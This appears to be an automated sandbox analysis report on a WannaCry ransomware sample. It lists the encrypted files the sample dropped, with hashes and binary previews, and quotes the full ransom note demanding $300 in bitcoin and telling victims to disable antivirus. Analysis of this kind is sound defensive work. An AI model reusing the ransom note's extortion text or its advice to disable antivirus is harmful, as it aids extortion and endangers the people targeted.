                                                                                                                                                                              Preview:j..[.R..mu...S...1a3 7^....C.....I.1...7.@E....W4dH.T.R..;W"B,.....V...].1........2_..o.w.g~...cU:.<H...Zg.)..9.....f)..<......6.....o...3.zDG..:xc.I....eD.#~Q.NR.,s$....*.V..V.+..-...<.....,Ds.....bv..s.l...6".f....xN.c.D@.W.r.5:&........GA...#.X....&^I.z..>.$.*....X.........Kw..M A*uodh..Y\.i.k...t.e.W..|.O...M.S.q.I....ZX+.O.b...*...#5J..%E....tBd.y.a...I1.....^..$....+..R.s.l..c/.9:...?....bT.s.A.U....,.k.O.R.../t.>X.?...?5..EV.........Z...C.3.....K(.`h..ca....@y...".92.y0.....1.2-.z.H\s......}.I......L.q.f..r;...IX.7N...A.Q._.....J.....$^y...(....}n...k./..E.w|I.X.V..4..C{..Q...h.Y..=...U.Dm$.._V 3...:..]..N.{3Vc.O&)..o..l. A.4Ok../....l7.&5Mp...H"...O=..!.'XU....R.x".^....qNh./..35..@j._..@....G.i...E..#B...-s|.S..}.<."o...H.X4l.c..H.r[.Yt....7.|b8_XAGh.....r..5-.QZ...1 .H2..:.z..|G."nv..82...r.Z.Cq.......k..L.X..u.|...;[.....1. .u.L..+.........F.i.A.}...-.,>..7{2 A>. ...9*P.&'..X.....d..S.....U_.bo......f.(*.L....`<A]O.X..J..c.

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.824442396929143
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk/Hk50QS1icpUJ6Gak/Rj2AknHpsx9rDAL/4VYt0WoX1ry3oHhwldN9cTLz92vt:bk/HqtSYcpUJjaWXoHGf+4VXlWYwlT9H
                                                                                                                                                                              MD5:DD9F3EA70D22957D4B402F4C75474702
                                                                                                                                                                              SHA1:96C05890F46C956984942A936F916E44B88C5386
                                                                                                                                                                              SHA-256:76CED09CAA9D828CB2D8D03E3C74D115C2E84833F2B355849AC725CC6A074EA9
                                                                                                                                                                              SHA-512:ED21D36D1790545B67A938BCA5EABC76B89938EC8457A8B821E66ED3E222F8B5E872D667519A158BAD950038B639E0C65293F06D6FB6E02087075AC73A838CD4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....`..b...xrP#|........Uj..F.t7.K.....;..:.%0......T]cH:.-..3.x....i..Ae.S...5..Em.D....d.....@.2........q.v....gh.......&....].\.....KN......4.`.p.sd.Zw.j1.Xx.....-.j..,.\.....1#_.....R..).]mc.{.|.t..;....h........p.N........|S...!.k1..P..27Wx.-.............y..W.K..^w...!..O$..9.3V..PEz......"}...hw......V..M..].^..7...EU.....zY..aed2....1..B.p.-.H..P.....D....:M..a..0.j...|oQ....../......Z=....f........k!.-...9..O.d.W@.OV!.T<.Iy.c..r.....Z..XA....%.j..t.{........Ih.,...V.w]A.-...4.Jr..8q...4.-{.P...{.C.j.$"0..........7.Q6.q.~.In...Pqis... ...].~........8.f...N...d..a.....=...HhM....W_..#h.. .k ...2K.>.^._.=.6k....}Y...*#...{........AO.......(...R....-X.#.....E......^.\..6..........(.D.j.S.)$...._!.._.I&,h...l81.&.$...`........P.....#.0r.l.=60.g[lQY...n....1Z.QG.S*.v.[ ..@.@d...{...\.F..T...g7..w-.b.vr.Elv.k.1...%wh^O_.......ha./a......#.a.Ek.n]..WtbX <.......P.....c\RLA..Z.,.\.c....cp..f.P..........(.,.@ih...;y.|........0..

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA.docx.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.824442396929143
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk/Hk50QS1icpUJ6Gak/Rj2AknHpsx9rDAL/4VYt0WoX1ry3oHhwldN9cTLz92vt:bk/HqtSYcpUJjaWXoHGf+4VXlWYwlT9H
                                                                                                                                                                              MD5:DD9F3EA70D22957D4B402F4C75474702
                                                                                                                                                                              SHA1:96C05890F46C956984942A936F916E44B88C5386
                                                                                                                                                                              SHA-256:76CED09CAA9D828CB2D8D03E3C74D115C2E84833F2B355849AC725CC6A074EA9
                                                                                                                                                                              SHA-512:ED21D36D1790545B67A938BCA5EABC76B89938EC8457A8B821E66ED3E222F8B5E872D667519A158BAD950038B639E0C65293F06D6FB6E02087075AC73A838CD4
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....`..b...xrP#|........Uj..F.t7.K.....;..:.%0......T]cH:.-..3.x....i..Ae.S...5..Em.D....d.....@.2........q.v....gh.......&....].\.....KN......4.`.p.sd.Zw.j1.Xx.....-.j..,.\.....1#_.....R..).]mc.{.|.t..;....h........p.N........|S...!.k1..P..27Wx.-.............y..W.K..^w...!..O$..9.3V..PEz......"}...hw......V..M..].^..7...EU.....zY..aed2....1..B.p.-.H..P.....D....:M..a..0.j...|oQ....../......Z=....f........k!.-...9..O.d.W@.OV!.T<.Iy.c..r.....Z..XA....%.j..t.{........Ih.,...V.w]A.-...4.Jr..8q...4.-{.P...{.C.j.$"0..........7.Q6.q.~.In...Pqis... ...].~........8.f...N...d..a.....=...HhM....W_..#h.. .k ...2K.>.^._.=.6k....}Y...*#...{........AO.......(...R....-X.#.....E......^.\..6..........(.D.j.S.)$...._!.._.I&,h...l81.&.$...`........P.....#.0r.l.=60.g[lQY...n....1Z.QG.S*.v.[ ..@.@d...{...\.F..T...g7..w-.b.vr.Elv.k.1...%wh^O_.......ha./a......#.a.Ek.n]..WtbX <.......P.....c\RLA..Z.,.\.c....cp..f.P..........(.,.@ih...;y.|........0..

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\@Please_Read_Me@.txt

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:ASCII text, with CRLF line terminators
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):933
                                                                                                                                                                              Entropy (8bit):4.708686542546707
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                                                                              MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                                                                              SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                                                                              SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                                                                              SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\@WanaDecryptor@.exe.lnk

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 21 12:19:29 2024, mtime=Wed Aug 21 12:19:29 2024, atime=Fri May 12 05:22:56 2017, length=245760, window=hide
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):575
                                                                                                                                                                              Entropy (8bit):5.1514333141017135
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:6:4xtQl3r23CpzeVs+bTcJHUtxXCz8lFUod6tMljAlp4hlIGoJ4D6Vod6Nu3/Wmc8E:8I2ypzYNblthRUobjAyhkotcsBmV
                                                                                                                                                                              MD5:40D3E8A910C0565F268932057F54E386
                                                                                                                                                                              SHA1:EBBE944DDE299B9B357FBEF6BDD20F7176B3C0BA
                                                                                                                                                                              SHA-256:90E66004446E10C5D31A8955509805E176408F47C3AC5B8DF5388A496CEB8B9A
                                                                                                                                                                              SHA-512:60C404E8260EDE86CE2AA3EA668386A172535C0A7009993DF3AA71A5E72114A1067ACDDD0C51B5506CA58290E5B8ABA39BD0902FDA471A34F6EB31BFB31C888A
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:L..................F.... ....+.......y.......`.1.................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.........{4.....................t.2......J.2 .@WANAD~1.EXE..X.......Yoj.Yoj..............................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......X...............-.......W....................C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......284992...........hT..CrF.f4... ..............%..hT..CrF.f4... ..............%.E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\BJZFPPWAPT.pdf

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.803161835006659
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:qCn5SFEsOOF4SgOwhNdKbXj3vma8tkn0rjFZVQB9RmAxgQJ4sNp32:f8hF4SgOwhNeXjfRnsQzRmP8732
                                                                                                                                                                              MD5:B86E654A624055E6DAEC3F3739AACD11
                                                                                                                                                                              SHA1:8822FBDA0DD375D2A3EB33BCE834E922B2A7C026
                                                                                                                                                                              SHA-256:06A2958D2CBC3640D6434C6B324BA624DAB8DCD737C42828025418EC85B3DE98
                                                                                                                                                                              SHA-512:1016FD9AE822DACCE4832154418EFCBADE2C8DE046191AA92B52158DB4F9C30A25029401B9E9CE13B02F3A0CEE2C1E507470C6D4C855A620EA2EC826EF777CB3
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:....Hw0]...^~.......e.Y.....b..XK......0..^P..*-c.N~..6..n.5ifE...D>.n.O`..T....S[..[..+...n...Dq$.>.)..9.f:.-.T....).?..z.....C....z.1......C.BLj...U.6..q.....BX........|.j...[.:....p."..!....8..;^..x^mS.g....a....R....$.2y)>.?i....2o../.g0.C.....D...p..mK}Y]AL.C..]e...Om.3.HZ/./1q..'~......>.YE.....Jy..s..0..\A......CN...*q..I._@...R.0.n..[.[z.~!&xN.>.B8..'\.N.s.\....^:.$.U........].A.x.}b}n .e.j......'H!n....B....M........6-.....M.U*.....\.4..D."Z1..... .....F..zc.'5.\....AM.1....g..|{NM.D....U......^A.h.......N.)....C......$T..^".K..I.I.i.Ea....V..5$..n....~B....78.....=Q.6.+.D.d.7.....;.w..!Hi....J...wxjK.vxE..L.i\?..(/..b...E.r.|Eo..0........N...G_R.K.j..2Y.7...EC..n...J/.[m..luy.\.{..Xb..Q....q.lQ.5..Qz.T*...._.F.KC.-.Y0..F.Y>.i.......>...Z.......F..N......H......|c....UYa.s.....h.wk=7.8..1...Dq..O.}....M..u.~..Q.1..>...g#'.:..t.a..........kr.x...%.N...;%.t.21.b2......J. ..C.....j..*.AO..b...../.z..y..v.j.._.........!.....*...u....

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\BJZFPPWAPT.pdf.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.821719468236528
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkmLEQX8QIUh9g0YLcyJlHj/DQinUeP8Zw54ZwlC5436Ksqo29wE:bkWEQX8NqInJBbnU28ZK7lC+36Ts
                                                                                                                                                                              MD5:730EE98106D5A992F9FD210E3E509D99
                                                                                                                                                                              SHA1:AA1F83874D4D4FFD1DD75F0869EFFB7138DC8069
                                                                                                                                                                              SHA-256:86969D79F70D87B10F9E02ADFFF3FB8515A496BA1628D332BE8EF0900A48CCEF
                                                                                                                                                                              SHA-512:D635AD1F58A2B780DB109491752A63E98B24DADEF834A8B9ED2197915E5150A990E618007B9DBF40B21FC260992F0E22CD8364CC757ABACBBE4F74EC49D5B354
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....{e.s.+6!..I.~..&.{.Q.....7..S.=\'.H.:D..t.......c..V.._..9..|..2.....;L..q6..4L.F.R.....|....RzN...Qu9=.:.D...^.ZN(c...0...!b8.n.....]U.g{3...;.A*w...H.mF...4...u.......i\...D.....I....N.z.p.H...... ]...[t...x.-.Q.l......g...C.9....C$....r.x7.............7.E*...7.)_...m.a(Ge..v.....bbL....6...k3...N..E2H............Be.......@:.>..J...+.)\..J%;..9C...9.;...R..M...W.O@.1..L...<.$...ll.mn;..!....g.yA..s.m....v...T..3..Q..v..qr..H..H9...[........]0!~...'h..LE.@A......p...!S~...?...p..!....)2...FU........R..~;46.R...}[.".Vs.$...9....|.J%.=...r0.&1\...s<......0.."m..]..%..R..!...A]..X..'.8q;k..W"_.......P#j/d.=s..M....?2..Z.).....SUsx.o1p.@3.....xJ-..o.2.@Eq.....-.~......{m Zi...N.qw#.[..lG...O..9..&..%..nr.0k.....R.......|7.......^.}V.Nb>..........#.l...b."?...>.....o.....Ab.E.\U.9....vb.....F?On.K...vM....g...@.x4.=....{.4.I..v.u.}.fw..|...J..,FI..........s.*;.......N.)\.....@[....wpf.J.....W.X.M\*...;...H...A..d9..'\(

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\BJZFPPWAPT.pdf.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.821719468236528
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkmLEQX8QIUh9g0YLcyJlHj/DQinUeP8Zw54ZwlC5436Ksqo29wE:bkWEQX8NqInJBbnU28ZK7lC+36Ts
                                                                                                                                                                              MD5:730EE98106D5A992F9FD210E3E509D99
                                                                                                                                                                              SHA1:AA1F83874D4D4FFD1DD75F0869EFFB7138DC8069
                                                                                                                                                                              SHA-256:86969D79F70D87B10F9E02ADFFF3FB8515A496BA1628D332BE8EF0900A48CCEF
                                                                                                                                                                              SHA-512:D635AD1F58A2B780DB109491752A63E98B24DADEF834A8B9ED2197915E5150A990E618007B9DBF40B21FC260992F0E22CD8364CC757ABACBBE4F74EC49D5B354
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....{e.s.+6!..I.~..&.{.Q.....7..S.=\'.H.:D..t.......c..V.._..9..|..2.....;L..q6..4L.F.R.....|....RzN...Qu9=.:.D...^.ZN(c...0...!b8.n.....]U.g{3...;.A*w...H.mF...4...u.......i\...D.....I....N.z.p.H...... ]...[t...x.-.Q.l......g...C.9....C$....r.x7.............7.E*...7.)_...m.a(Ge..v.....bbL....6...k3...N..E2H............Be.......@:.>..J...+.)\..J%;..9C...9.;...R..M...W.O@.1..L...<.$...ll.mn;..!....g.yA..s.m....v...T..3..Q..v..qr..H..H9...[........]0!~...'h..LE.@A......p...!S~...?...p..!....)2...FU........R..~;46.R...}[.".Vs.$...9....|.J%.=...r0.&1\...s<......0.."m..]..%..R..!...A]..X..'.8q;k..W"_.......P#j/d.=s..M....?2..Z.).....SUsx.o1p.@3.....xJ-..o.2.@Eq.....-.~......{m Zi...N.qw#.[..lG...O..9..&..%..nr.0k.....R.......|7.......^.}V.Nb>..........#.l...b."?...>.....o.....Ab.E.\U.9....vb.....F?On.K...vM....g...@.x4.=....{.4.I..v.u.}.fw..|...J..,FI..........s.*;.......N.)\.....@[....wpf.J.....W.X.M\*...;...H...A..d9..'\(

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\DUUDTUBZFW.png

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:PGP encrypted data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.770798092783333
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:12:3cY5Tu1WXArboqUsXDRPedbTuw/Fhwc6ogHojeP/9+bi76iaH6Jy4DXKI+ZCGgtX:7qb2sXtiayFyLuMp6Pa84zKI+ZCVtq4
                                                                                                                                                                              MD5:EFE0372023D23385D0B1A5E86AF7BBB1
                                                                                                                                                                              SHA1:A4E51F2BE2C755E09A3087FC995B42BF27C282EE
                                                                                                                                                                              SHA-256:524E0E5A78458C56B20319D91B4DCFD8A382F02E80CDA96A4C5A7785534AB0B4
                                                                                                                                                                              SHA-512:DD731AEFA5E9FD65E3830AF8FA52833DA43263C6ED9214E71E7A56747D22DCD00645A43AA1F9B204D13138A58E3488B52836724FE0939307D4FEBB3CF14324B5
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:..H `i..y.SN..Y...Tr.......qX..,B.,xY..E.m..-......(V..SLiF:J..?.>eb..IqQ6U{'.e5..9!4.sJ}.[.T.y.;..U.?.(..7.`..SO....;..j<....Z,.mW....AfU.#..Q..S]....E....HO.@....V....Db..y...u...!.f.s|2N...A[^...p...:7!.x*..$.uE...y......=/.ys"Z..]..6..X*d.a..v.Y.`K.KFV..;I.e....w......|..d68Tg|.h.^ B.iL....O........O../..Z..j[._Z:.:;.Zp..W.L..."fu3..w0.....,xh.......\..b(.yw.Qi.......ox|..^O.U.4.g..Qu^B s.&-i.R.h........v..,.<.`...q..X..._.........I..$q:..Gc........oh...o.b,Y.!"s+..KM..j..Z..;o_...:z.\hyx6......j[_._;Y.M..+..i.."o...K:.fN. -....q.BFZ'..^...@.....+......~*.@.90RK/..,(..R....KA.H............2;.s..?|@LRhF4i;.H+H$...)....Y...]....{..?|A..*..7...L.(.)+P...^...."...:.:.. .Of...$8{......K2..V....&..#u..v`.Z.Y....^/.N$......s&....X..y..Zy\h...V..W..A..#8...C8.&S.+..-....M...U3..$....B..4t|5K.p`.....D..F......A.7...O.IO...:N ?OQ|A...=..I...}.........N..Xy.,....O.F...5.....C+.~..jq)..D..Q.x....\y..A......).$d(..iF...lrK...4.s6}.k._}D...l..

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\DUUDTUBZFW.png.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.846083337236457
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkxRL0drY+YkymVOiJVfkqTc5H6fuyXJh5l9m4BboAH28h+B0mn3W2hRu+Az2U4:bkxcYX2VOinBcZMX9f9boAH2dWW3RTAQ
                                                                                                                                                                              MD5:BC43DA0C0F54DA2BF979190ED46ED7F1
                                                                                                                                                                              SHA1:9563EE6B1CB2BC2B9EE6D97A65AD1C6A171DE5A9
                                                                                                                                                                              SHA-256:BB4375A67939F814AC79B23DDEFC22E4D1E85D91F079A2DD2635E363ADAFD10F
                                                                                                                                                                              SHA-512:6BACAF84EEC92CCBBF2427E10BB49B5EABBDBD023A58A98F04105A5F6BD959A3F84D940DCD1ED220827CEC2F01694AB013411DABE48BB5CAAC5B7C10AABB78C7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....$v.\Z8.x7.:...g......4.r+.c....0rma.AA.Z.z.&7.(..>.P..E...}].........G.. fX..}1.]..]..;..w.a.1^....n.....".$.P....Q.O3e..|U.HF....d.R....Y#.\.}.Bs.M.V^t.:.,.:..k..se...o.=.....]#N...r..:A?8Qg...cW...!.3.yRJ.m..[Rb .ysg..5W..c.j...A.L...B<UnS.H..............I.y....v.....-..L...m.C}...5...j.....:.w7.g.I...D..lyM.h.'k..d.jGcv..m4...........w..(y.1.....F'AY+H.qL......E..w3=%...9.O.T..B...^.C.r.|.......8...P.K].w.L.>..s.o6S8zv......6@]..K.*.....x..1...........6.3....l......i2.........4N..A.A.`.8..V....(M'.. ..s.zB.'.......V...b..,.r.}>T....<....."..D%._F./x.-..8H.C*.\...}..7.^_.`...?..[...) I.;.c.........A.v...-...|.{*.,..d+.P.@....^..3......lE..a.H.3^;.eQ.}[.........7.y.3...~.k..2.'...rO....E...GTp.i../.0=.:W.D.../.f-.....S....vU.y.R......M.D6Yg.d.<...KWY......an,S....1....M....'......[.4.$I .b.4...T\t^m..2a.Z3j..z>C.C.._...(..g...}:!GC..U...4../.2V....f`.....#t J..G.J.<..!u...".a........c..H.eWD5.;...{.c`-.G...t..z.o.@..5y..

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\DUUDTUBZFW.png.WNCRYT

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.846083337236457
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkxRL0drY+YkymVOiJVfkqTc5H6fuyXJh5l9m4BboAH28h+B0mn3W2hRu+Az2U4:bkxcYX2VOinBcZMX9f9boAH2dWW3RTAQ
                                                                                                                                                                              MD5:BC43DA0C0F54DA2BF979190ED46ED7F1
                                                                                                                                                                              SHA1:9563EE6B1CB2BC2B9EE6D97A65AD1C6A171DE5A9
                                                                                                                                                                              SHA-256:BB4375A67939F814AC79B23DDEFC22E4D1E85D91F079A2DD2635E363ADAFD10F
                                                                                                                                                                              SHA-512:6BACAF84EEC92CCBBF2427E10BB49B5EABBDBD023A58A98F04105A5F6BD959A3F84D940DCD1ED220827CEC2F01694AB013411DABE48BB5CAAC5B7C10AABB78C7
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....$v.\Z8.x7.:...g......4.r+.c....0rma.AA.Z.z.&7.(..>.P..E...}].........G.. fX..}1.]..]..;..w.a.1^....n.....".$.P....Q.O3e..|U.HF....d.R....Y#.\.}.Bs.M.V^t.:.,.:..k..se...o.=.....]#N...r..:A?8Qg...cW...!.3.yRJ.m..[Rb .ysg..5W..c.j...A.L...B<UnS.H..............I.y....v.....-..L...m.C}...5...j.....:.w7.g.I...D..lyM.h.'k..d.jGcv..m4...........w..(y.1.....F'AY+H.qL......E..w3=%...9.O.T..B...^.C.r.|.......8...P.K].w.L.>..s.o6S8zv......6@]..K.*.....x..1...........6.3....l......i2.........4N..A.A.`.8..V....(M'.. ..s.zB.'.......V...b..,.r.}>T....<....."..D%._F./x.-..8H.C*.\...}..7.^_.`...?..[...) I.;.c.........A.v...-...|.{*.,..d+.P.@....^..3......lE..a.H.3^;.eQ.}[.........7.y.3...~.k..2.'...rO....E...GTp.i../.0=.:W.D.../.f-.....S....vU.y.R......M.D6Yg.d.<...KWY......an,S....1....M....'......[.4.$I .b.4...T\t^m..2a.Z3j..z>C.C.._...(..g...}:!GC..U...4../.2V....f`.....#t J..G.J.<..!u...".a........c..H.eWD5.;...{.c`-.G...t..z.o.@..5y..

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\EFOYFBOLXA.docx

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1026
                                                                                                                                                                              Entropy (8bit):7.817806121492016
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:4XgIBlS9iooyP0/WmZE6SC327SOgkFqcr9vR:4Xg0EQByP0emgC3qJg2qw3
                                                                                                                                                                              MD5:D926F836E217EDFC1CFCB32015097C6A
                                                                                                                                                                              SHA1:998BFA05C35071717B770A839B07B6FC25714BB1
                                                                                                                                                                              SHA-256:610AFEC5E1614DE08D3D5F9A28B0E438540FB3F1358D47AAF44BE41ED11F5160
                                                                                                                                                                              SHA-512:861B0DD425134359F688A68037E93224145F36FFFB74CA8D7C05339996452288D7F9EE01C2D6DC3DBC39D4B0721963D86494A1389D2B38D18EC83ED03C40DB3B
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:.G...?..0.h.~.??p.w..s..g..e)f......\....SQ...X..ee,2.e....... \g..Q...u..d.x....qV..b'T..J[..v.gJ..c2.R....m..3....4.u:.k.C..c>f.=...Pojc...].7:....;.k..../.jinc.6.5.V.s.l.2;.X.9,.o.Z!...d\f.V%.Z.O.-.J..Y._../e.._V...1P....f.'..j...0...Rvso.W..0.BQ..JwY.7.]bc9.xU&.IW.|9.:.Gw.-..g..NWQ..@&\.(...._,l./...F...lN.N.:B........"n9G...m.....:........'...;.b.o....=..!.C....~..z.:..@.T.....c..R...Y.S.^R.zo..J...K.WU*..Lwq....:1..X..Tt...#....*l.....^.)p0...Q..~..[s...}..h;..e+P..Ru m..1.......|.........|..{8m.*....S3.....L.0N.&......c..}>.&...=...l ^..$J.pS.....g>......3..U..2..VP......v.x...pF..k...-....A_....D..............c....~61nFG.hnn}......7.q^...*.U.F.\qtz......f....]..,...A.s......|..P..RP.^.3.5y.}..6.....dX.<G.q.P.kN.x.......w.........=dF.....p...~....tu..R|...b.4s."..M.r&....AO..V.3J#.:..T.8.4.nW...:m..W.#.E~.J.........N....UZ4..RE..z..$D.#c.@.`.C..@...F..m.I.^$.j.)....TR.....(...9........|.k...o.w..o.Dl....*.......;.Z..x.5.(......X

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\EFOYFBOLXA.docx.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1320
                                                                                                                                                                              Entropy (8bit):7.854855875405906
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk79yR8nexb4tCulwLrLfDxhSxlsHgua5eyRLqbOqrQUnZkS3MMrNnMjigrCP:bkIR5ebA/TSxmHbasyhuFrQwX3trNsi7
                                                                                                                                                                              MD5:0CB9499293E3FADAB95E11648F0E8464
                                                                                                                                                                              SHA1:1B14A0124AB4BF3BF32474A814A3181A5F2431BA
                                                                                                                                                                              SHA-256:23186C0724CB32CE4572E63E0175EBFC87AE80C136028DC63AFC3C7431D8985A
                                                                                                                                                                              SHA-512:3F01925C36968D1A3705638DBD00C1F2693E8B877E5E1B0ADA1337FF2D1D23C89FA981A24AB261E870B150D27CCBCDAED1D06ABAE8EC9D243DC5C5EE35B82D2E
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....3.-..F5.0...P.|.|L...,..:..-..d...q.X..0.>jv,Yd"nl...].##=...O...x.F....4..A{......+....rx..E?...t....w...'..D.......m..."...!..>-X...... .......\#.y.2..<e....Zz..._.g#.&........t....l:..M..`B.x.".+*(.(......7.,?..f=3....h..N.5.{;..<...`.g.m.i..............X.*..z.."....S.a........|W..(l+]ma:\..|...O..B7.9..V]..si......G.\UMq..W|.j.......!T.......Sd...Nqth..........M.4-.,1.O. @...HO..i..a.\..!..VJ..l....k.FM......g.......l...!\,S..D.1.9..+..o5V.B(@..0...i..I^.x?.........y... E...x?.......U.F|...0R.w.<......R..;?..?Z......g.h<ml..t....?4%.T.dM...U.:e..{.z..Gg..d.Xd..@.J*...A=B.FG..~%..z25Z.}..5~z.e.^_)M{cF....:.....X.-...rjff..D..J..S0.ub.K!......f.OV...c...s..O.{..8...%...".-.b...g..a..A.......jsDH.....o...s...I.V-b........\P.....U,..3.:e..SA....GD..x.K....*.E..0b.{4.a....../.....}^\.....W'..X,......M.@.2.J.%......?.5J..b...pW....(Z..v*.0h*..#)\.yk.... ..f.fr).=...x_.C..G)....v...6.~..y.l.......92+.:+l{I+..1.aF..ZAA3Z^G.......]

                                                                                                                                                                              C:\Users\user\Documents\EFOYFBOLXA\EFOYFBOLXA.docx.WNCRYT

